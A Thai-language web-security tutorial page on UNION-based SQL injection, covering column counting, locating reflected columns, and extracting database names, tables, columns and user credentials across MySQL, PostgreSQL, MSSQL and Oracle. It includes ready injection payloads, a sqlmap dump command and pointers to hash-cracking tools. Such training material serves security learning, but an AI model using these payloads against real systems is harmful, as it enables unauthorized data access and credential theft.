UNION-based SQLi
UNION-based SQLi ใช้คำสั่ง UNION ต่อผลลัพธ์ของ query ที่เราควบคุมเข้ากับ query เดิม เพื่อดึงข้อมูลออกมาแสดงตรงๆ เป็นเทคนิค in-band ที่เร็วและได้ข้อมูลเยอะที่สุดต่อ request — ใช้ได้เมื่อ output ของ query สะท้อนกลับมาให้เห็นบนหน้าเพจ บทนี้ไล่ตั้งแต่หลักการ การหาจำนวนคอลัมน์ การหาตำแหน่งแสดงผล จนถึง extraction เต็มรูปแบบตามชนิด DB
1. หลักการ
UNION รวมผลลัพธ์ของ SELECT สองชุดเข้าด้วยกันเป็นตารางเดียว เงื่อนไขสำคัญสองข้อ: (1) จำนวนคอลัมน์ต้องเท่ากัน และ (2) ชนิดข้อมูลแต่ละตำแหน่งต้องเข้ากันได้ ดังนั้นแผนคือ หาจำนวนคอลัมน์ก่อน แล้วหาตำแหน่งที่ 'แสดงผลได้' (reflected) เพื่อยัดข้อมูลที่ต้องการลงไป
2. หาจำนวนคอลัมน์
มีสองวิธีหลัก: ORDER BY (นับจนกว่าจะ error) และ UNION SELECT NULL,... (เพิ่ม NULL จนกว่าจะไม่ error) — วิธีแรกมักเสถียรกว่าเพราะไม่ติดเรื่องชนิดข้อมูล
-- วิธี ORDER BY (เพิ่มเลขจน error)
1 ORDER BY 1-- - -- OK
1 ORDER BY 2-- - -- OK
1 ORDER BY 3-- - -- OK
1 ORDER BY 4-- - -- ERROR "Unknown column '4'" → มี 3 คอลัมน์
-- วิธี UNION NULL (เพิ่ม NULL จนหายพัง)
1 UNION SELECT NULL-- - -- ยัง error
1 UNION SELECT NULL,NULL-- - -- ยัง error
1 UNION SELECT NULL,NULL,NULL-- - -- OK → มี 3 คอลัมน์3. หาตำแหน่งแสดงผล (reflected column)
ไม่ใช่ทุกคอลัมน์จะถูกพิมพ์ลงหน้าเพจ ใส่ค่าที่จำง่าย (เลขเรียง หรือ marker) ในแต่ละตำแหน่ง ดูว่าตำแหน่งไหนโผล่มา — นั่นคือช่องที่เราจะยัดข้อมูล
1 UNION SELECT 1,2,3-- -
-- ดูหน้าเพจ: ถ้าเห็นเลข 2 กับ 3 = คอลัมน์ 2,3 แสดงผลได้ (1 ไม่แสดง)
-- ถ้าคอลัมน์ต้องเป็น string เท่านั้น ใช้ marker string
1 UNION SELECT 'aaa','bbb','ccc'-- -
-- ถ้าเจอ type error ให้ลอง NULL คั่นตำแหน่งที่ไม่ใช้:
1 UNION SELECT NULL,'INJ',NULL-- -id=-1 UNION SELECT ... หรือ id=0 UNION SELECT ... เพื่อดัน row ของเราขึ้นมาแสดง4. Extraction เต็มรูปแบบ
- 1ระบุ DB/เวอร์ชัน/ผู้ใช้ปัจจุบัน ลงในช่อง reflected
- 2ดึงรายชื่อตารางจาก catalog ของ DB
- 3ดึงคอลัมน์ของตารางเป้าหมาย
- 4ดึงข้อมูลจริง รวมหลายคอลัมน์ด้วย CONCAT + ตัวคั่น
-- ข้อมูลระบบ
1 UNION SELECT 1,version(),3-- -
1 UNION SELECT 1,CONCAT_WS(0x0a,version(),database(),current_user()),3-- -
-- รายชื่อตารางใน DB ปัจจุบัน
1 UNION SELECT 1,GROUP_CONCAT(table_name SEPARATOR 0x0a),3
FROM information_schema.tables WHERE table_schema=database()-- -
-- คอลัมน์ของตาราง users (0x7573657273 = 'users')
1 UNION SELECT 1,GROUP_CONCAT(column_name SEPARATOR 0x0a),3
FROM information_schema.columns WHERE table_name=0x7573657273-- -
-- ดึง credentials (คั่นด้วย ':' = 0x3a)
1 UNION SELECT 1,GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a),3 FROM users-- -| งาน | MySQL | PostgreSQL | MSSQL | Oracle |
|---|---|---|---|---|
| รวมหลายแถว | GROUP_CONCAT() | string_agg(c,',') | STRING_AGG(c,',') | LISTAGG(c,',') |
| รวมหลายคอลัมน์ | CONCAT_WS() | a||b | a+b | a||b |
| ตารางทั้งหมด | information_schema.tables | information_schema.tables | information_schema.tables | all_tables |
| ต้องมี FROM | ไม่ (มี dual โดยนัย) | ไม่ | ไม่ | ต้องมี FROM dual |
FROM — ใช้ FROM dual เช่น UNION SELECT NULL,banner FROM v$version และ Oracle ใช้ ROWNUM ไม่ใช่ LIMIT5. ข้อผิดพลาดที่พบบ่อย
- นับคอลัมน์ผิด → UNION error ทั้งที่ช่องโหว่มีจริง (ยืนยันด้วย ORDER BY ให้ชัด)
- ใส่ข้อมูล string ในคอลัมน์ที่เป็น numeric → type error (ใช้ NULL คั่น หรือหาช่อง string)
- เพจแสดงแค่แถวแรก แต่ลืมทำ query เดิมให้คืน 0 แถว (ใช้ id=-1/0)
- ลืม comment ปิดท้าย → เศษ query เดิมค้างทำให้ syntax พัง
- Oracle: ลืม
FROM dual/ ใช้LIMITแทนROWNUM - ข้อมูลหลายแถวแต่ไม่ใช้ GROUP_CONCAT → เห็นแถวเดียว
6. Quick Reference
- ใช้ได้เมื่อ output reflected (in-band) — เร็วสุด ได้เยอะสุดต่อ request
- หาจำนวนคอลัมน์:
ORDER BY nหรือUNION SELECT NULL,... - หาตำแหน่งแสดงผล:
UNION SELECT 1,2,3 - เพจแสดงแถวเดียว →
id=-1 UNION ...ดันแถวเราขึ้นมา information_schema.tables/columns= แผนที่ฐานข้อมูลGROUP_CONCAT+0x3aรวมหลายแถว/คอลัมน์ในช่องเดียว- output ไม่ reflected → ดู Error-based หรือ Blind SQLi
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเจอจุดที่ query แสดงผลลัพธ์ตรงๆ บนหน้าเว็บ (เช่น หน้าค้นหา/list สินค้า) และสงสัยว่าน่าจะยัด UNION SELECT ได้ ทำตามนี้ทีละขั้น
- 1หาจำนวนคอลัมน์ด้วย ORDER BY 1, ORDER BY 2, ... ไล่จนกว่า response error (แปลว่าคอลัมน์เกินจำนวนจริง)
- 2เมื่อรู้จำนวนคอลัมน์ N ยิง UNION SELECT 1,2,...,N-- - ดูว่าตัวเลขไหน 'สะท้อน' ขึ้นจอ (ใช้เลขนั้นแทน username/pass)
- 3แทนที่ตำแหน่งที่สะท้อนด้วย @@version, database(), user() ยืนยันว่าดึงข้อมูลออกมาแสดงได้จริง
- 4เปลี่ยนไปดึง table_name จาก information_schema.tables where table_schema=database()
- 5ดึง column_name จาก information_schema.columns where table_name='users' (หรือชื่อ table ที่เจอ)
- 6ดึง username,password ด้วย UNION SELECT username,password FROM users-- - (ใช้ GROUP_CONCAT รวมหลายแถวในคอลัมน์เดียวถ้าจำเป็น)
- 7ถ้า UNION ไม่ทำงาน (type ของคอลัมน์ไม่ตรง) ลองใส่ NULL แทนตัวเลขในคอลัมน์ที่ type ไม่ match
- 8ถ้ายังไม่ได้ ลองใช้ sqlmap -r req.txt --batch --technique=U --dump ให้อัตโนมัติแทน
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| หาจำนวนคอลัมน์ | Burp Repeater / curl | already in Kali | - |
| ดึงข้อมูลอัตโนมัติ | sqlmap (--technique=U) | already in Kali | - |
| เขียน/encode payload ซับซ้อน | - | - | CyberChef |
| เรียนรู้ lab UNION attack | - | - | portswigger web security academy |
| crack hash ที่ dump ได้ | hashcat / john | already in Kali | crackstation.net |
| เทียบ syntax concat/GROUP_CONCAT ของแต่ละ DBMS | - | - | dcode.fr |
| ทดสอบ payload มือ | curl | already in Kali | - |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้